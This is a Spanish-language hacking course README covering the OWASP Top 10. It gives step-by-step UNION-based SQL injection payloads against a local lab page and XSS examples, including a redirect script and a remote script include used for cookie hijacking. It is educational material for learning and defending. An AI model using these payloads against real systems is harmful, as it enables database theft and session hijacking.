infosec/Introduccion-hacking-hack4u/tema_6_owasp
2024-02-13 01:11:01 +01:00
..
01_sqli Add Tema 6 - SQL Injection 2024-02-12 22:18:28 +01:00
02_crosssite_scripting_XSS Add Tema 6 - CrossSite Scripting XSS 2024-02-13 01:11:01 +01:00
README.md Add Tema 6 - CrossSite Scripting XSS 2024-02-13 01:11:01 +01:00

TEMA 6 - OWASP TOP 10 y vulnerabilidades web

Índice

6.1 SQL Injection (SQLi)

SQL Injection (SQLI) es una técnica de ataque utilizada para explotar vulnerabilidades en aplicaciones web que no validan adecuadamente la entrada del usuario en la consulta SQL que se envía a la base de datos. Los atacantes pueden utilizar esta técnica para ejecutar consultas SQL maliciosas y obtener información confidencial, como nombres de usuario, contraseñas y otra información almacenada en la base de datos.

Las inyecciones SQL se producen cuando los atacantes insertan código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.

Hay varios tipos de inyecciones SQL, incluyendo:

  • Inyección SQL basada en errores: Este tipo de inyección SQL aprovecha errores en el código SQL para obtener información. Por ejemplo, si una consulta devuelve un error con un mensaje específico, se puede utilizar ese mensaje para obtener información adicional del sistema.
  • Inyección SQL basada en tiempo: Este tipo de inyección SQL utiliza una consulta que tarda mucho tiempo en ejecutarse para obtener información. Por ejemplo, si se utiliza una consulta que realiza una búsqueda en una tabla y se añade un retardo en la consulta, se puede utilizar ese retardo para obtener información adicional
  • Inyección SQL basada en booleanos: Este tipo de inyección SQL utiliza consultas con expresiones booleanas para obtener información adicional. Por ejemplo, se puede utilizar una consulta con una expresión booleana para determinar si un usuario existe en una base de datos.
  • Inyección SQL basada en uniones: Este tipo de inyección SQL utiliza la cláusula “UNION” para combinar dos o más consultas en una sola. Por ejemplo, si se utiliza una consulta que devuelve información sobre los usuarios y se agrega una cláusula “UNION” con otra consulta que devuelve información sobre los permisos, se puede obtener información adicional sobre los permisos de los usuarios.
  • Inyección SQL basada en stacked queries: Este tipo de inyección SQL aprovecha la posibilidad de ejecutar múltiples consultas en una sola sentencia para obtener información adicional. Por ejemplo, se puede utilizar una consulta que inserta un registro en una tabla y luego agregar una consulta adicional que devuelve información sobre la tabla.

Cabe destacar que, además de las técnicas citadas anteriormente, existen muchos otros tipos de inyecciones SQL. Sin embargo, estas son algunas de las más populares y comúnmente utilizadas por los atacantes en páginas web vulnerables.

Asimismo, es necesario hacer una breve distinción de los diferentes tipos de bases de datos existentes:

  • Bases de datos relacionales: Las inyecciones SQL son más comunes en bases de datos relacionales como MySQL, SQL Server, Oracle, PostgreSQL, entre otros. En estas bases de datos, se utilizan consultas SQL para acceder a los datos y realizar operaciones en la base de datos.
  • Bases de datos NoSQL: Aunque las inyecciones SQL son menos comunes en bases de datos NoSQL, todavía es posible realizar este tipo de ataque. Las bases de datos NoSQL, como MongoDB o Cassandra, no utilizan el lenguaje SQL, sino un modelo de datos diferente. Sin embargo, es posible realizar inyecciones de comandos en las consultas que se realizan en estas bases de datos. Esto lo veremos unas clases más adelante.
  • Bases de datos de grafos: Las bases de datos de grafos, como Neo4j, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los nodos y relaciones que se han almacenado en la base de datos.
  • Bases de datos de objetos: Las bases de datos de objetos, como db4o, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para acceder a los objetos que se han almacenado en la base de datos.

Es importante entender los diferentes tipos de inyecciones SQL y cómo pueden utilizar se para obtener información confidencial y controlar una base de datos. Los desarrolladores deben asegurarse de validar adecuadamente la entrada del usuario y de utilizar técnicas de defensa, como la sanitización de entrada y la preparación de consultas SQL, para prevenir las inyecciones SQL en sus aplicaciones web.

A continuación, se proporciona el enlace a la utilidad online de ExtendsClass que utilizamos en esta clase:

Ejercicios

  • Levantar apache y mysql
  • Crear una base de datos con una tabla
  • Crearemos el fichero searchUser.php y lo dejaremos en el directorio /var/www/html
  • Con la url http://localhost/searchUsers.php?id=1 deberíamos obtener el username del id 1.
  • Tendremos que probar el número de id con order, cuando no de error sabremos el número de columnas que tiene la tabla: http://localhost/searchUsers.php?id=1' order by 100-- -
  • Con http://localhost/searchUsers.php?id=1' union select "test"-- - añade el testo "test" a la columna, pero tiene que haber el número de valores del número de columna. Si cambiamos el id por uno que no exista veremos que se muestra en pantalla.
  • Con http://localhost/searchUsers.php?id=11212' union select database()-- - veremos el nombre de la BBDD.
  • Con http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata-- - veremos la primera base de datos. Ya con limits podremos ver las siguientes:
    1. http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 0,1-- -
    2. http://localhost/searchUsers.php?id=11212' union select schema_name from information_schema.schemata limit 1,1-- -
  • Con http://localhost/searchUsers.php?id=165541%27%20union%20select%20group_concat(schema_name)%20from%20information_schema.schemata--%20- veremos todas las BBDD.
  • Con http://localhost/searchUsers.php?id=11212' union select group_concat(table_name) from information_schema.tables where table_schema='nombreBBDD'-- - veremos las tablas de la BBDD.
  • Con http://localhost/searchUsers.php?id=11212' union select group_concat(column_name) from information_schema.columns where table_schema='nombreBBDD' and table_name='nombreTabla'-- - veremos las columnas de la tabla.
  • Con lo cual, http://localhost/searchUsers.php?id=11212' union select group_concat(NombreColumna) from nombreBBDD.nombreTabla-- - veremos el contenido de la columna. ¡Se tensa!

Preparamos el fichero php searchUsers.php para hacer unas pruebas con Python para cuando no tengamos el output en pantalla.

  • Comprobamos uno a uno el hexadecimal: sqli.py
  • Comprobamos si el contenido es igual que tarde más tiempo: sqli_time.py

6.2 CrossSite Scripting (XSS)

Una vulnerabilidad XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.

En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.

Existen varios tipos de vulnerabilidades XSS, incluyendo las siguientes:

  • Reflejado (Reflected): Este tipo de XSS se produce cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
  • Almacenado (Stored): Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada vez que se carga la página.
  • DOM-Based: Este tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Modelo de Objetos del Documento). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.

Los ataques XSS pueden tener graves consecuencias para las empresas y los usuarios individuales. Por esta razón, es esencial que los desarrolladores web implementen medidas de seguridad adecuadas para prevenir vulnerabilidades XSS. Estas medidas pueden incluir la validación de datos de entrada, la eliminación de código HTML peligroso, y la limitación de los permisos de JavaScript en el navegador del usuario.

A continuación, se proporciona el proyecto de Github correspondiente al laboratorio que nos estaremos montando para poner en práctica la vulnerabilidad XSS:

Todo se debe tener un puerto web en escucha:

python3 -m HTTP.server 80

En este caso levantaremos un servidor con el script server_keylogger.py para tener más limpia la salida.

  • Podemos redirigir a una página web:

    <script>
    window.location.href = "https://vergaracarmona.es";
    </script>
    
  • Podemos realizar un hijacking cookie con el script hijacking_cookie.js

<script src="https://192.168.2.105/test.js"></script>

6.3 XML External Entity Injection (XXE)

6.4 Local File Inclusion (LFI)

6.5 Remote File Inclusion (RFI)

6.6 Log Poisoning (LFI --> RCE)

6.7 Cross-Site Request Forgery (CSRF)

6.8 Server-Side Request Forgery (SSRF)

6.9 Server-Side Template Injection (SSTI)

6.10 Client-Side Template Injection (CSTI)

6.11 Ataque de oráculo de relleno de datos (Padding Oracle Attack)

6.12 Ataque Type Juggling

6.13 Inyecciones NoSQL

6.14 Inyecciones LDAP

6.15 Ataques de Deserialización

6.16 Inyecciones LaTex

6.17 Abuso de APIs

6.18 Abuso de subidas de archivos

6.19 Prototype Pollution

6.20 Ataques de transferencia de zona (AXFR - Full Zone Transfer)

6.21 Ataques de asignación masiva (Mass Assignment Attack)/Parameter Binding

6.22 Open Redirect

6.23 Enumeración y explotación de WebDAV

6.24 Enumeración y explotación de SQUID Proxies

6.25 Ataque ShellShock

6.26 Inyecciones XPath

6.27 Insecure Direct Object Reference (IDORs)

6.28 Intercambio de recursos de origen cruzado (CORS)

6.29 Ataque de Truncado SQL (SQL Truncation Attack)

6.30 Session Puzzling / Session Fixation / Session Variable Overloading

6.31 Enumeración y explotación de Json Web Tokens (JWT)

6.32 Condiciones de carrera (Race conditions)

6.33 Inyecciones CSS (CSSI)

6.34 Python - Ataque de Deserialización Yaml (DES-Yaml)

6.35 Python - Ataque de Deserialización Pickle (DES-Pickle)

6.36 GraphQL Introspection, Mutations e IDORs